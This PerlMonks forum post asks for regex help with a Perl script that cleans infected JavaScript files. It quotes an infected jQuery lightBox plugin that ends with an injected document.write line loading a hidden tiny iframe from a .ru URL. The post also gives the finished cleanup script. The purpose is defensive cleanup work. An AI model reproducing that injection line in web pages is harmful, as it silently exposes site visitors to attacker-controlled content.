Beefy Boxes and Bandwidth Generously Provided by pair Networks
go ahead... be a heretic
 
PerlMonks  

Comment on

( #3333=superdoc: print w/ replies, xml ) Need Help??

Hi everyone,

I'm having trouble with regexp... My codes couldn't match string below, please, help me with this )) I use this code in a substitution (s///;)

I have to change a whole string to a "; //eof"

string to be changed is ;document.write('<iframe src="any url" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>'); this string is found at the end of the file: it is the last string

But the result is ; //eofnt.write('<iframe src="http://wwwrcacomcontributes.ru/blacklistingbogus.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>');

code:

#!/usr/bin/perl -w use 5.010; use strict; use warnings; open (TABLETKA, "+<script.js") || die "Can't open a file: $!\n"; my @lines = <TABLETKA>; foreach (@lines) { print "cleaned\n" if s{(\;do.*)(</iframe>'\);)}{\; //eof}; } seek(TABLETKA,0,0) || die; print TABLETKA @lines; close (TABLETKA);

file is script.js:

/** * jQuery lightBox plugin * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh D +hakar (http://www.huddletogether.com/projects/lightbox2/) * and adapted to me ...SHORTENED... */ eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a) +))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repl +ace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r +[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(n +ew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4 +=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16 +\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10, +2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I +=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'}) +;1O();4.h.B ...SHORTENED... style|fromCharCode|String|DOM_VK_E +SCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|ms +ie|400|browser|animate|lightBox|do'.split('|'),0,{}));document.write( +'<iframe src="http://wwwrcacomcontributes.ru/blacklistingbogus.cgi?8" + scrolling="auto" frameborder="no" align="center" height="15" width=" +15"></iframe>');

Updated on Thur 8 Nov 00:55

Yes, I made as you wrote: I closed the file and re-open with > property and all are working)) this is our last code

#!/usr/bin/perl -w use strict; use warnings; use Cwd qw(); my $path = Cwd::cwd(); my $date = localtime(); my $count=0; my $count_file = 0; my $report = "$path/report_$date.txt"; open (FINDIT, "find $path -name '*.js' -type f -print |") || die "Coul +dn't execute find!\n"; while (my $filename = <FINDIT>) { $count_file++; open (TABLETKA, "$filename") || die "Can't open $filename: $!\n"; my @lines = <TABLETKA>; seek(TABLETKA,0,0); my @clean = <TABLETKA>; foreach (@lines) { if ($_ =~ m#(document\.write\('<iframe.*)(</iframe>'\);)#) + { foreach (@clean) { $count++; if ( s{([[:space:]];document\.write\('<iframe.*)(</iframe> +'\);)}{ //eof} ) { close (TABLETKA); open (APP, ">$filename") || die "Can't open FOR WRITING $f +ilename: $!\n"; print APP @clean; close (APP); open (REPORT, ">>$report") || die "Can't open a report.txt +: $!\n"; chomp($filename); print REPORT "$count_file. FILE: $filename\nINFECTED LINE +NUMBER: $count\nCLEANING DATE: $date\n\n"; close (REPORT); $count = 0; } elsif ( s{([^[:space:]])(;document\.write\('<iframe.*)(</i +frame>'\);)}{$1; //eof} ) { close (TABLETKA); open (APP, ">$filename") || die "Can't open FOR WRITING $f +ilename: $!\n"; print APP @clean; close (APP); open (REPORT, ">>$report") || die "Can't open a report.txt +: $!\n"; chomp($filename); print REPORT "$count_file. FILE: $filename\nINFECTED LINE +NUMBER: $count\nCLEANING DATE: $date\n\n"; close (REPORT); $count = 0; } elsif ( s{(;document\.write\('<iframe.*)(</iframe>'\);)}{ +//eof} ) { close (TABLETKA); open (APP, ">$filename") || die "Can't open FOR WRITING $f +ilename: $!\n"; print APP @clean; close (APP); open (REPORT, ">>$report") || die "Can't open a report.txt +: $!\n"; chomp($filename); print REPORT "$count_file. FILE: $filename\nINFECTED LINE +NUMBER: $count\nCLEANING DATE: $date\n\n"; close (REPORT); $count = 0; } } } } }
Enough codes make shapes. (Hamidjon)

In reply to trouble with regular expressions by programmer.perl

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post; it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • Outside of code tags, you may need to use entities for some characters:
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.
  • Log In?
    Username:
    Password:

    What's my password?
    Create A New User
    Chatterbox?
    and the web crawler heard nothing...

    How do I use this? | Other CB clients
    Other Users?
    Others chilling in the Monastery: (5)
    As of 2014-11-23 06:13 GMT
    Sections?
    Information?
    Find Nodes?
    Leftovers?
      Voting Booth?

      My preferred Perl binaries come from:














      Results (128 votes), past polls